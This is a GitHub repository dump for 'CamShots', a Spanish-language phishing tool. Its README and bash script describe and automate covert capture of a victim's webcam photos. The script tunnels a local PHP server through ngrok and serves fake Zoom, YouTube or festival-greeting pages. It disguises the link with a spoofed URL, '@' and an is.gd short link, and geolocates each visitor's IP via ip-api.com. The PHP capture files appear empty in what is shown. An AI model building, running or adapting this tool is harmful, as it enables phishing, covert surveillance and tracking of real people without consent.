├── README.md ├── camShots.sh ├── images ├── banner.png └── camShots.png ├── info.php ├── post.php └── templates ├── festivalwishes.html ├── template.php ├── youtube.html ├── zoom-old.html └── zoom.html /README.md: -------------------------------------------------------------------------------- 1 | # CamShots 2 | [![GitHub repo size](https://img.shields.io/github/repo-size/m4lal0/camShots?logo=webpack&style=flat-square)](#) 3 | [![Debian Supported](https://img.shields.io/badge/Debian-Supported-blue?style=flat-square&logo=debian)](#) 4 | [![Kali Supported](https://img.shields.io/badge/Kali-Supported-blue?style=flat-square&logo=kali-linux)](#) 5 | [![Parrot Supported](https://img.shields.io/badge/Parrot-Supported-blue?style=flat-square&logo=linux)](#) 6 | [![Termux Supported](https://img.shields.io/badge/Termux-Supported-blue?style=flat-square&logo=android)](#) 7 | [![HTML5](https://img.shields.io/badge/-white?style=social&logo=html5)](#) 8 | [![PHP](https://img.shields.io/badge/-white?style=social&logo=php)](#) 9 | [![Bash](https://img.shields.io/badge/-white?style=social&logo=gnubash)](#) 10 | [![Ngrok](https://img.shields.io/badge/-white?style=social&logo=ngrok)](#) 11 | [![By](https://img.shields.io/badge/By-m4lal0-green?style=flat-square&logo=github)](#) 12 | 13 | ![CamShots](./images/banner.png) 14 | 15 | Obtén fotos de la cámara frontal del teléfono o de la cámara web de la PC del objetivo enviando un enlace. 16 | 17 | ## Qué es CamShots? 18 | CamShots es una técnica para tomar fotos de la cámara del teléfono del objetivo o la cámara web del PC. CamShots aloja un sitio web falso en el servidor PHP construido y utiliza ngrok para generar un enlace que vamos a remitir a la victima, que puede ser utilizado en Internet. El sitio web pide permiso de la cámara y si el objetivo lo permite, esta herramienta toma fotos del dispositivo de destino. 19 | 20 | ## Caracteristicas 21 | En esta herramienta se he añadido tres plantillas de página web automática para obtener imagenes a través de la camara del objetivo: 22 | 23 | + Zoom Meeting 24 | + Youtube 25 | + Festival Wishing 26 | 27 | Para la plantilla de Youtube simplemente introduzca el ID de algun video a reproducir. Para la plantilla de Wishing introduzca el nombre de un festival. 28 | 29 | También cuenta con el enmascaramiento de la URL si el usuario asi lo requiere. 30 | 31 | Cuando el objetivo entre se mostrará información acerca de su dirección IP. 32 | 33 | ## Instalación y uso 34 | ``` 35 | git clone https://github.com/m4lal0/camShots 36 | cd camShots; chmod +x camShots.sh 37 | ./camShots.sh 38 | ``` 39 | 40 | 1- Al ejecutar el script, este comprueba si existen ciertas herramientas que necesita para su ejecución correcta. 41 | 42 | 2- Después preguntará por la plantilla a usar. 43 | 44 | 3- Preguntará si quiere enmascarar la URL que se le proporcionará al objetivo. 45 | 46 | 4- Se envia la URL a la victima y a esperar para capturar su dirección IP y las imagenes que tomara con su camara. 47 | 48 | ![CamShots](./images/camShots.png) 49 | 50 | ## Descargo de responsabilidad 51 | El desarrollador no asume ninguna responsabilidad y no es responsable de cualquier mal uso o daño causado por este programa. -------------------------------------------------------------------------------- /camShots.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #By @m4lal0 4 | 5 | # Regular Colors 6 | Black='\033[0;30m' # Black 7 | Red='\033[0;31m' # Red 8 | Green='\033[0;32m' # Green 9 | Yellow='\033[0;33m' # Yellow 10 | Blue='\033[0;34m' # Blue 11 | Purple='\033[0;35m' # Purple 12 | Cyan='\033[0;36m' # Cyan 13 | White='\033[0;97m' # White 14 | Blink='\033[5m' # Blink 15 | Color_Off='\033[0m' # Text Reset 16 | 17 | # Light 18 | LRed='\033[0;91m' # Ligth Red 19 | LGreen='\033[0;92m' # Ligth Green 20 | LYellow='\033[0;93m' # Ligth Yellow 21 | LBlue='\033[0;94m' # Ligth Blue 22 | LPurple='\033[0;95m' # Light Purple 23 | LCyan='\033[0;96m' # Ligth Cyan 24 | LWhite='\033[0;90m' # Ligth White 25 | 26 | # Dark 27 | DGray='\033[2;37m' # Dark Gray 28 | DRed='\033[2;91m' # Dark Red 29 | DGreen='\033[2;92m' # Dark Green 30 | DYellow='\033[2;93m' # Dark Yellow 31 | DBlue='\033[2;94m' # Dark Blue 32 | DPurple='\033[2;95m' # Dark Purple 33 | DCyan='\033[2;96m' # Dark Cyan 34 | DWhite='\033[2;90m' # Dark White 35 | 36 | # Bold 37 | BBlack='\033[1;30m' # Bold Black 38 | BRed='\033[1;31m' # Bold Red 39 | BGreen='\033[1;32m' # Bold Green 40 | BYellow='\033[1;33m' # Bold Yellow 41 | BBlue='\033[1;34m' # Bold Blue 42 | BPurple='\033[1;35m' # Bold Purple 43 | BCyan='\033[1;36m' # Bold Cyan 44 | BWhite='\033[1;37m' # Bold White 45 | 46 | # Italics 47 | IBlack='\033[3;30m' # Italic Black 48 | IGray='\033[3;90m' # Italic Gray 49 | IRed='\033[3;31m' # Italic Red 50 | IGreen='\033[3;32m' # Italic Green 51 | IYellow='\033[3;33m' # Italic Yellow 52 | IBlue='\033[3;34m' # Italic Blue 53 | IPurple='\033[3;35m' # Italic Purple 54 | ICyan='\033[3;36m' # Italic Cyan 55 | IWhite='\033[3;37m' # Italic White 56 | 57 | # Underline 58 | UBlack='\033[4;30m' # Underline Black 59 | URed='\033[4;31m' # Underline Red 60 | UGreen='\033[4;32m' # Underline Green 61 | UYellow='\033[4;33m' # Underline Yellow 62 | UBlue='\033[4;34m' # Underline Blue 63 | UPurple='\033[4;35m' # Underline Purple 64 | UCyan='\033[4;36m' # Underline Cyan 65 | UWhite='\033[4;37m' # Underline White 66 | 67 | # Background 68 | On_Black='\033[40m' # Background Black 69 | On_Red='\033[41m' # Background Red 70 | On_Green='\033[42m' # Background Green 71 | On_Yellow='\033[43m' # Background Yellow 72 | On_Blue='\033[44m' # Background Blue 73 | On_Purple='\033[45m' # Background Purple 74 | On_Cyan='\033[46m' # Background Cyan 75 | On_White='\033[47m' # Background White 76 | 77 | trap ctrl_c INT 78 | 79 | function stopServices() { 80 | CHECKNGROK=$(ps aux | grep -o "ngrok" | head -n1) 81 | CHECKPHP=$(ps aux | grep -o "php" | head -n1) 82 | if [[ $CHECKNGROK == *'ngrok'* ]]; then 83 | pkill -f -2 ngrok > /dev/null 2>&1 84 | killall -2 ngrok > /dev/null 2>&1 85 | fi 86 | if [[ $CHECKPHP == *'php'* ]]; then 87 | pkill -f -2 php > /dev/null 2>&1 88 | killall -2 php > /dev/null 2>&1 89 | fi 90 | } 91 | 92 | function ctrl_c(){ 93 | echo -e "\n${LBlue}[${BYellow}!${LBlue}] ${BRed}Saliendo...${Color_Off}\n" 94 | stopServices 95 | rm -rf index.php index2.html &>/dev/null 96 | tput cnorm; exit 0 97 | } 98 | 99 | function banner(){ 100 | echo -e "${BRed} ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄ ▄▄ ${BBlue} ▄▄▄▄▄▄▄ ▄▄ ▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ${Color_Off}" 101 | echo -e "${BRed}█ █ █ █▄█ █${BBlue}█ █ █ █ █ █ █ █${Color_Off}" 102 | echo -e "${BRed}█ █ ▄ █ █${BBlue}█ ▄▄▄▄▄█ █▄█ █ ▄ █▄ ▄█ ▄▄▄▄▄█${Color_Off}" 103 | echo -e "${BRed}█ ▄▄█ █▄█ █ █${BBlue}█ █▄▄▄▄▄█ █ █ █ █ █ █ █ █▄▄▄▄▄ ${Color_Off}" 104 | echo -e "${BRed}█ █ █ █ █${BBlue}█▄▄▄▄▄ █ ▄ █ █▄█ █ █ █ █▄▄▄▄▄ █${Color_Off}" 105 | echo -e "${BRed}█ █▄▄█ ▄ █ ██▄██ █${BBlue} ▄▄▄▄▄█ █ █ █ █ █ █ █ ▄▄▄▄▄█ █${Color_Off}" 106 | echo -e "${BRed}█▄▄▄▄▄▄▄█▄▄█ █▄▄█▄█ █▄█${BBlue}█▄▄▄▄▄▄▄█▄▄█ █▄▄█▄▄▄▄▄▄▄█ █▄▄▄█ █▄▄▄▄▄▄▄█${Color_Off}" 107 | echo -e "\t\t\t\t\t${IWhite} .::. By @m4lal0 .::.${Color_Off}\n\n" 108 | } 109 | 110 | function dependencies(){ 111 | tput civis; clear; banner 112 | if [ "$EUID" -ne 0 ]; then 113 | echo -e "\n${LBlue}[${BYellow}!${LBlue}] ${BRed}Este script debe ser ejecutado por r00t!${Color_Off}\n" 114 | tput cnorm; exit 1 115 | fi 116 | dependencies=(php unzip curl wget) 117 | echo -e "\n${LBlue}[${BYellow}!${LBlue}] ${BYellow}Comprobando herramientas necesarias...${Color_Off}\n" 118 | for program in "${dependencies[@]}"; do 119 | echo -ne "${LBlue}[${BBlue}*${LBlue}] ${BWhite}Herramienta $program...${Color_Off}" 120 | command -v $program > /dev/null 2>&1 121 | if [ "$(echo $?)" == "0" ]; then 122 | echo -e "${LBlue}($BGreen✔${LBlue})${Color_Off}" 123 | else 124 | echo -e "${LBlue}(${BRed}✘${LBlue})${Color_Off}" 125 | echo -e "${LBlue}[${BYellow}!${LBlue}] ${BYellow}Instalando ${IYellow}$program...${Color_Off}" 126 | apt-get install $program -y > /dev/null 2>&1 127 | fi; sleep 1 128 | done 129 | if [[ ! -e ngrok ]]; then 130 | echo -ne "${LCyan}[${BYellow}!${LCyan}] ${BYellow}Instalando ${IYellow}ngrok...${Color_Off}" 131 | wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1 132 | if [[ -e ngrok-stable-linux-386.zip ]]; then 133 | unzip ngrok-stable-linux-386.zip > /dev/null 2>&1 134 | chmod +x ngrok 135 | rm -rf ngrok-stable-linux-386.zip 136 | echo -e "${LCyan}(${BGreen}✔${LCyan})${Color_Off}" 137 | else 138 | echo -e "${LCyan}(${Bred}✘${LCyan})${Color_Off}" 139 | echo -e "${IRed}Error al instalar Ngrok...${Color_off}\n" 140 | exit 1 141 | fi 142 | else 143 | echo -e "${LBlue}[${BBlue}*${LBlue}] ${BWhite}Herramienta ngrok...${LBlue}($BGreen✔${LBlue})${Color_Off}" 144 | fi 145 | if [[ ! -d target ]]; then 146 | mkdir target 147 | fi 148 | if [[ -e ip.txt ]]; then 149 | rm -rf ip.txt 150 | fi 151 | if [[ -e iptracker.log ]]; then 152 | rm -rf iptracker.log 153 | fi 154 | if [[ ! -e templates/youtube.html ]]; then 155 | echo -e "\n${LBlue}[${BRed}✘${LBlue}] ${BRed}No existe plantilla Youtube${Color_Off}" 156 | echo -e "${IWhite}Descargue la herramienta nuevamente...${Color_Off}" 157 | tput cnorm; exit 1 158 | fi 159 | if [[ ! -e templates/festivalwishes.html ]]; then 160 | echo -e "\n${LBlue}[${BRed}✘${LBlue}] ${BRed}No existe plantilla Festival Wishes${Color_Off}" 161 | echo -e "${IWhite}Descargue la herramienta nuevamente...${Color_Off}" 162 | tput cnorm; exit 1 163 | fi 164 | if [[ ! -e templates/zoom.html ]]; then 165 | echo -e "\n${LBlue}[${BRed}✘${LBlue}] ${BRed}No existe plantilla Zoom${Color_Off}" 166 | echo -e "${IWhite}Descargue la herramienta nuevamente...${Color_Off}" 167 | tput cnorm; exit 1 168 | fi 169 | sleep 3 170 | } 171 | 172 | function urlChecker() { 173 | if [ ! "${1//:*}" = http ]; then 174 | if [ ! "${1//:*}" = https ]; then 175 | echo -e "${LBlue}[${BRed}✘${LBlue}] ${BRed}Error en la URL, utilice https ó http${Color_Off}" 176 | sleep 5 177 | config 178 | fi 179 | fi 180 | } 181 | 182 | function startServices(){ 183 | banner; tput civis 184 | TEMPLATE=$1 185 | URL=$2 186 | echo -e "\n${LBlue}[${BBlue}+${LBlue}] ${BBlue}URL a proporcionar: ${UWhite}$URL${Color_Off}" 187 | 188 | sed 's+forwarding_link+'$URL'+g' templates/template.php > index.php 189 | if [[ $TEMPLATE -eq 1 ]]; then 190 | sed 's+forwarding_link+'$URL'+g' templates/zoom.html > index2.html 191 | fi 192 | if [[ $TEMPLATE -eq 2 ]]; then 193 | sed 's+forwarding_link+'$URL'+g' templates/youtube.html > index3.html 194 | sed 's+live_yt_tv+'$YOUTUBEID'+g' index3.html > index2.html 195 | rm -rf index3.html 196 | fi 197 | if [[ $TEMPLATE -eq 3 ]]; then 198 | sed 's+forwarding_link+'$URL'+g' templates/festivalwishes.html > index3.html 199 | sed 's+fes_name+'$FESTILVALNAME'+g' index3.html > index2.html 200 | rm -rf index3.html 201 | fi 202 | } 203 | 204 | function config(){ 205 | clear; banner 206 | echo -e "${Cyan}╔────────────────────────────────────────╗${Color_Off}" 207 | echo -e "${LBlue}│ [${BBlue}++${LBlue}]${BCyan} Configurar plantilla web ${LBlue}[${BBlue}++${LBlue}] │${Color_Off}" 208 | echo -e "${Cyan}┖────────────────────────────────────────┙${Color_Off}\n" 209 | DEFAULT_OPTION_TEMPLATE="1" 210 | DEFAULT_OPTION_MASK="n" 211 | echo -e "${LRed}[${LGreen}1${LRed}] ${Yellow}Zoom${Color_Off}" 212 | echo -e "${LRed}[${LGreen}2${LRed}] ${Yellow}Youtube${Color_Off}" 213 | echo -e "${LRed}[${LGreen}3${LRed}] ${Yellow}Festival Wishes${Color_Off}" 214 | tput cnorm 215 | echo -e "\n${BRed}┌─[${BWhite}Elegir plantilla (1/2/3) - ${IWhite}Default es 1${Color_Off}${BRed}]${Color_Off}" 216 | echo -en "${BRed}└──╼${BGreen} " && read OPTION_TEMPLATE 217 | echo -e "${Color_Off}" 218 | OPTION_TEMPLATE="${OPTION_TEMPLATE:-${DEFAULT_OPTION_TEMPLATE}}" 219 | if [[ $OPTION_TEMPLATE -eq 2 ]]; then 220 | YOUTUBEID="" 221 | while [ "$YOUTUBEID" == "" ]; do 222 | echo -e "${BRed}┌─[${BWhite}ID del video de Youtube${BRed}]${Color_Off}" 223 | echo -en "${BRed}└──╼${BGreen} " && read YOUTUBEID 224 | echo -e "${Color_Off}" 225 | done 226 | fi 227 | if [[ $OPTION_TEMPLATE -eq 3 ]]; then 228 | FESTILVALNAME="" 229 | while [ "$FESTILVALNAME" == "" ]; do 230 | echo -e "${BRed}┌─[${BWhite}Nombre del Festival${BRed}]${Color_Off}" 231 | echo -en "${BRed}└──╼${BGreen} " && read FESTILVALNAME 232 | echo -e "${Color_Off}" 233 | done 234 | fi 235 | 236 | echo -e "${Cyan}╔──────────────────────────────────────╗${Color_Off}" 237 | echo -e "${LBlue}│ [${BBlue}++${LBlue}]${BCyan} Ejecutar servicios ${LBlue}[${BBlue}++${LBlue}] │${Color_Off}" 238 | echo -e "${Cyan}┖──────────────────────────────────────┙${Color_Off}\n" 239 | echo -en "${LBlue}[${BBlue}*${LBlue}] ${ICyan}Iniciando servidor PHP...${Color_Off}" 240 | php -S 127.0.0.1:3333 &>/dev/null & 241 | if [ $? -eq 0 ]; then 242 | sleep 3 243 | echo -e "${LBlue}(${BGreen}✔${LBlue})${Color_Off}" 244 | else 245 | sleep 3 246 | echo -e "${LBlue}(${BRed}✘${LBlue})${Color_Off}" 247 | exit 1 248 | fi 249 | echo -en "${LBlue}[${BBlue}*${LBlue}] ${ICyan}Iniciando servidor Ngrok...${Color_Off}" 250 | ./ngrok http 3333 &>/dev/null & 251 | if [ $? -eq 0 ]; then 252 | sleep 3 253 | echo -e "${LBlue}(${BGreen}✔${LBlue})${Color_Off}" 254 | else 255 | sleep 3 256 | echo -e "${LBlue}(${BRed}✘${LBlue})${Color_Off}" 257 | exit 1 258 | fi 259 | 260 | URL=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") 261 | 262 | echo -e "\n${Cyan}╔────────────────────────────────────╗${Color_Off}" 263 | echo -e "${LBlue}│ [${BBlue}++${LBlue}]${BCyan} Configurar URL ${LBlue}[${BBlue}++${LBlue}] │${Color_Off}" 264 | echo -e "${Cyan}┖────────────────────────────────────┙${Color_Off}\n" 265 | echo -e "${BRed}┌─[${BWhite}Quiere enmascarar la URL? ${BWhite}(${LGreen}y${BWhite}/${LRed}N${BWhite})${BRed}]${Color_Off}" 266 | echo -en "${BRed}└──╼${BGreen} " && read OPTION_MASK 267 | echo -e "${Color_Off}" 268 | OPTION_MASK="${OPTION_MASK:-${DEFAULT_OPTION_MASK}}" 269 | if [[ $OPTION_MASK == "y" || $OPTION_MASK == "Y" ]]; then 270 | SHORT=$(curl -s https://is.gd/create.php\?format\=simple\&url\=${URL}) 271 | SHORTER=${SHORT#https://} 272 | echo -e "${BRed}┌─[${BWhite}Colocar URL de suplantación de identidad con http o https${BRed}]${Color_Off}" 273 | echo -en "${BRed}└──╼${BGreen} " && read MASK 274 | echo -e "${Color_Off}" 275 | urlChecker $MASK 276 | echo -e "${BRed}┌─[${BWhite}Escriba palabras de ingeniería social (como mi-estado-de-cuenta, mi-foto), no use el espacio, solo use '-' entre las palabras de ingeniería social${BRed}]${Color_Off}" 277 | echo -en "${BRed}└──╼${BGreen} " && read WORDS 278 | echo -e "${Color_Off}" 279 | URLMASK=$MASK-$WORDS@$SHORTER 280 | clear 281 | startServices $OPTION_TEMPLATE $URLMASK 282 | elif [[ ! $OPTION_MASK == "y" || ! $OPTION_MASK == "Y" ]]; then 283 | clear 284 | startServices $OPTION_TEMPLATE $URL 285 | fi 286 | } 287 | 288 | function getIP(){ 289 | IP=$(grep -a 'IP:' ip.txt | cut -d " " -f2 | tr -d '\r') 290 | UA=$(grep 'User-Agent:' ip.txt | cut -d '"' -f2) 291 | IFS=$'\n' 292 | echo -e "\t${BBlue}IP del objetivo: ${BWhite}$IP${Color_Off}" 293 | echo -e "\t${BBlue}User-Agent: ${BWhite}$UA${Color_Off}" 294 | 295 | curl -s "http://ip-api.com/json/$IP" --user-agent "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31" > iptracker.log 2>/dev/null 296 | STATUS=$(cat iptracker.log | grep -Po '(?<="status":)[^},]*' | tr -d '"') 297 | if [[ $STATUS == "success" ]]; then 298 | COUNTRY=$(cat iptracker.log | grep -Po '(?<="country":)[^},]*' | tr -d '"') 299 | CITY=$(cat iptracker.log | grep -Po '(?<="city":)[^},]*' | tr -d '"') 300 | REGION=$(cat iptracker.log | grep -Po '(?<="regionName":)[^},]*' | tr -d '"') 301 | LAT=$(cat iptracker.log | grep -Po '(?<="lat":)[^},]*' | tr -d '"') 302 | LON=$(cat iptracker.log | grep -Po '(?<="lon":)[^},]*' | tr -d '"') 303 | ISP=$(cat iptracker.log | grep -Po '(?<="isp":)[^},]*' | tr -d '"') 304 | fi 305 | if [[ ! -z $COUNTRY ]]; then 306 | echo -e "\t${BBlue}Pais: ${BWhite}$COUNTRY${Color_Off}" 307 | fi 308 | if [[ ! -z $CITY ]]; then 309 | echo -e "\t${BBlue}Ciudad: ${BWhite}$CITY${Color_Off}" 310 | fi 311 | if [[ ! -z $REGION ]]; then 312 | echo -e "\t${BBlue}Región: ${BWhite}$REGION${Color_Off}" 313 | fi 314 | if [[ ! -z $ISP ]]; then 315 | echo -e "\t${BBlue}ISP: ${BWhite}$ISP${Color_Off}" 316 | fi 317 | if [[ ! -z $LAT ]]; then 318 | echo -e "\t${BBlue}Latitud: ${BWhite}$LAT${Color_Off}" 319 | fi 320 | if [[ ! -z $LON ]]; then 321 | echo -e "\t${BBlue}Longitud: ${BWhite}$LON${Color_Off}" 322 | fi 323 | echo -e "\t${BBlue}Evidencia guardada en: ${IWhite}target/$IP.txt${Color_Off}\n" 324 | cat iptracker.log >> target/$IP.txt 325 | rm -rf iptracker.log 326 | } 327 | 328 | function start(){ 329 | echo -e "\n${LBlue}[${BYellow}!${LBlue}] ${BYellow}Espere a que el objetivo entre a la URL, presione ${Color_Off}${Blink}Ctrl + C${Color_Off} ${BYellow}para salir...${Color_Off}\n" 330 | while [ true ]; do 331 | if [[ -e "ip.txt" ]]; then 332 | echo -e "\n${BGreen}[+] El objetivo entró a la URL! ${Color_Off}\n" 333 | getIP 334 | rm -rf ip.txt 335 | fi 336 | sleep 0.5 337 | if [[ -e "Log.log" ]]; then 338 | echo -e "\t${BGreen}[+] Foto capturada: ${LGray}guardado en target/${Color_Off}" 339 | rm -rf Log.log 340 | fi 341 | sleep 0.5 342 | done 343 | } 344 | 345 | function main(){ 346 | dependencies 347 | config 348 | start 349 | } 350 | 351 | main -------------------------------------------------------------------------------- /images/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m4lal0/camShots/724027aae2d62dd0590cfd9e1a74b6ae0cb0e56a/images/banner.png -------------------------------------------------------------------------------- /images/camShots.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m4lal0/camShots/724027aae2d62dd0590cfd9e1a74b6ae0cb0e56a/images/camShots.png -------------------------------------------------------------------------------- /info.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /post.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /templates/festivalwishes.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Happy fes_name to Your Friends 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 448 | 449 | 452 | 453 | 454 | 455 | 516 | 517 | 518 | 523 | 524 | 525 |
▅ ▆ ▇ █ HAPPY fes_name █ ▇ ▆ ▅
526 |
527 | 528 | 529 | 533 | 536 | 537 |
538 |
539 |
540 |
541 |
542 |
543 |

544 | 545 |
546 |
547 | 548 | “fes_name का ये शुभ अवसर आपके जीवन में अनेकों ख़ुशियाँ लेकर आए” 549 | 550 |
551 |
552 | 553 | इस fes_name हमारी शुभकामनाएँ आपके साथ हैं 554 | 555 |
556 |
557 | 558 | || fes_name की हार्दिक बधाई || 559 | 560 |
561 |
562 |

563 | 564 |
565 |
566 |

570 |

574 |

578 |

582 |

586 |

590 |

594 | 595 |
596 |
597 |
598 | 599 | 600 | 601 | 605 | 608 | 609 |
610 |

611 |

 Wishing you a very

612 |
613 |
614 |

Happy fes_name

615 |
616 |

 to you and your lovely family

617 |
618 |

 May this auspicious occasion of fes_name bring happiness, prosperity, health, and peace in your life.

619 |
620 |

 ✪ I wish that this fes_name is your best one. ✪

621 |
622 | 623 |

  यह संदेश fes_name तक सभी के मोबाइल में होना चाहिए यह आपका फर्ज हैं

624 |
625 |
626 |



629 |
630 | 631 | 632 | 638 | 641 | 642 |
643 | 644 | 645 | 675 | 676 | 677 | 678 | 679 | 680 |
681 | 682 | 683 | Share 684 | 685 | 686 | 687 | Share 688 | 689 |
690 | 691 | 692 | -------------------------------------------------------------------------------- /templates/template.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /templates/youtube.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /templates/zoom-old.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Videoconferencias, Conferencias web, Seminarios web, Uso compartido de pantallas - Zoom 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 39 | 44 | 45 | 46 | 47 | 48 | 49 | 238 | 249 | 254 | 255 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 272 | 273 | 274 | 335 | 336 | 337 |
338 |
339 | Skip to main content 340 |
341 |
342 |
343 | 565 |
566 | 573 |
574 |
575 |
576 |
577 |
578 | 579 |
580 |
581 | 610 |
611 |
612 |
613 | 618 |
619 |
620 |
621 | Gartner 622 |
623 |
Zoom recibió una calificación general de 4,69 sobre 5 por parte de los clientes.
624 |
625 | Leer el informe 626 |
627 |
628 |
629 |
630 |
631 |
632 |
633 |
634 |
Una experiencia Enterprise congruente.
635 |
636 |
637 |
638 | 643 |

Reuniones y chat

644 |

Reuniones en línea, capacitación y soporte técnico

645 | 646 | Mirar el video 647 | 648 | 649 | Más información 650 |

Vea el video sobre las reuniones

651 |

Más información sobre las reuniones

652 |
653 |
654 | 659 |

Seminario web con video

660 |

Eventos de marketing y foros abiertos

661 | 662 | Mirar el video 663 | 664 | Más información 665 |

Vea el video sobre el seminario web en video

666 |

Más información sobre el seminario web en video

667 |
668 |
669 | 674 |

Salas de conferencia

675 |

Construir salas de conferencias habilitadas para la colaboración

676 | 677 | Mirar el video 678 | 679 | Más información 680 |

Vea el video sobre Zoom Rooms

681 |

Más información sobre Zoom Rooms

682 |
683 |
684 | 689 |

Sistema telefónico

690 |

El sistema telefónico empresarial de última generación

691 | Más información 692 |

Vea el vídeo sobre Zoom Voice

693 |

Más información sobre Zoom Voice

694 |
695 |
696 | 701 |

Marketplace

702 |

Integraciones y bots para usar con Zoom

703 | Más información 704 |

Learn More about MarketPlace

705 |
706 |
707 |
708 |
709 |
710 |
711 |

Zoom ha obtenido el número 1 en las revisiones de los clientes

712 |
713 |
714 |
715 | 716 |
Third_Stars
717 |
718 |

4.7 de 5

719 |
720 | Más información 721 |
722 |
723 |
724 |
725 | 726 |
FirstTwo_Stars
727 |
728 |

8,7 de 10

729 |
730 | Más información 731 |
732 |
733 |
734 |
735 | 736 |
FirstTwo_Stars
737 |
738 |

4,5 de 5

739 |
740 | Más información 741 |
742 |
743 |
744 |

Más información sobre la calificación de Gartner PeerInsights

745 |

Más información sobre la calificación TrustRadius

746 |

Más información sobre la calificación G2 Crowd

747 |
748 |
749 |
750 |
751 |
752 | ¿Por qué Zoom? 753 |
754 |
755 |
756 |
757 |

Una experiencia de empresa congruente para todos los casos de uso

758 |
759 |
760 |
761 |

Diseñado y optimizado para trabajar de manera confiable

762 |
763 |
764 |
765 |

Hasta 1000 participantes de vídeo y 10 000 espectadores

766 |
767 |
768 |
769 |

Fácil de usar, comprar y ampliar

770 |
771 |
772 |
773 |

Precios más asequibles y directos

774 |
775 |
776 |
777 |
778 |
779 | 836 |
837 |
838 |
839 |
840 |
841 |
842 | 843 | 844 | Play Video 845 | 846 |
847 |
848 |

Doug Goetz

849 | 850 |
851 |
852 |
853 |
854 | 855 | 856 | Play Video 857 | 858 |
859 |
860 |

Jelena Joffe

861 | 862 |
863 |
864 |
865 |
866 | 867 | 868 | Play Video 869 | 870 |
871 |
872 |

Shobhana Ahluwalia

873 | 874 |
875 |
876 |
877 |
878 | 879 | 880 | Play Video 881 | 882 |
883 |
884 |

Rujul Pathak

885 | 886 |
887 |
888 |
889 |
890 | 891 | 892 | Play Video 893 | 894 |
895 |
896 |

Peter Gassner

897 | 898 |
899 |
900 |
901 |
902 |
903 |
904 |
905 |
906 |

907 | 908 | Nuestros clientes están encantados con nosotros 909 |

910 |
911 |
912 |
913 |
914 | 915 | 916 | 919 | 922 | 925 | 928 | 931 | 932 |
917 | Uber 918 | 920 | Slack 921 | 923 | Atlassian 924 | 926 | Palo Alto Networks 927 | 929 | Veeva 930 |
933 |
934 |
935 | 936 | 937 | 940 | 943 | 946 | 949 | 952 | 953 |
938 | One Medical 939 | 941 | TrendMicro 942 | 944 | Checkpoint 945 | 947 | Rakuten 948 | 950 | Okta 951 |
954 |
955 |
956 | 957 | 958 | 961 | 964 | 967 | 970 | 973 | 974 |
959 | Dropbox 960 | 962 | Nasdaq 963 | 965 | Arista Networks 966 | 968 | Juniper 969 | 971 | Logitech 972 |
975 |
976 |
977 | 978 | 979 | 982 | 985 | 988 | 991 | 994 | 995 |
980 | Western Union 981 | 983 | Box 984 | 986 | Autodesk 987 | 989 | Go Daddy 990 | 992 | Splunk 993 |
996 |
997 |
998 |
999 |
1000 |
1001 |
1002 |
1003 |
1004 |
1005 |
1006 |
1007 | Request a Demo 1008 | Comprar ahora 1009 |
1010 |
1011 |
1012 |
1013 |
1014 | 1023 |
1024 | 1025 |
1026 | 1212 |
1213 | 1300 |
1411 |
1412 | 1424 |
1425 | 1571 |
1572 | 1573 |
1574 | 1575 | 1631 | 1651 | 1672 | 1673 | 1674 | 1675 | 1676 | 1723 | 1724 | 1749 | 1750 | 1751 | 1752 | 1753 | 1754 | 1755 | 1756 | 1764 | 1771 | 1772 | 1773 | 1780 | 1811 | 1812 | 1813 |
1814 | 1815 | 1816 | 1817 | 1837 |
1838 | 1845 |
1846 | 1847 | 1917 | 1918 | -------------------------------------------------------------------------------- /templates/zoom.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Unirse a la reunión - Zoom 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 37 | 50 | 111 | 112 | 164 | 207 | 208 | 216 | 217 | 218 | 219 | 220 | 221 |
222 |
223 | Skip to main content 224 |
225 |
226 |
227 | 286 |
287 | 294 |
295 |
296 |
297 |
298 | 299 |
300 |
301 |
302 | 303 |
304 |
305 |
306 |
307 | 310 |
311 | 312 |
313 |
314 |
315 | 316 |
317 |
318 |
319 |
320 |
321 |
322 |
323 |
324 |
325 |
326 |
327 |
328 |
329 | 341 |
342 | 385 |
386 | 387 |
388 | 389 | 445 | 465 | 486 | 487 | 488 | 489 | 515 | 516 | 579 | 580 | 581 | 627 | 634 | 641 | 674 | 675 | 676 | 677 |
678 | 679 | 680 | 681 | 701 |
702 | 709 |
710 | 711 | 781 | 782 | --------------------------------------------------------------------------------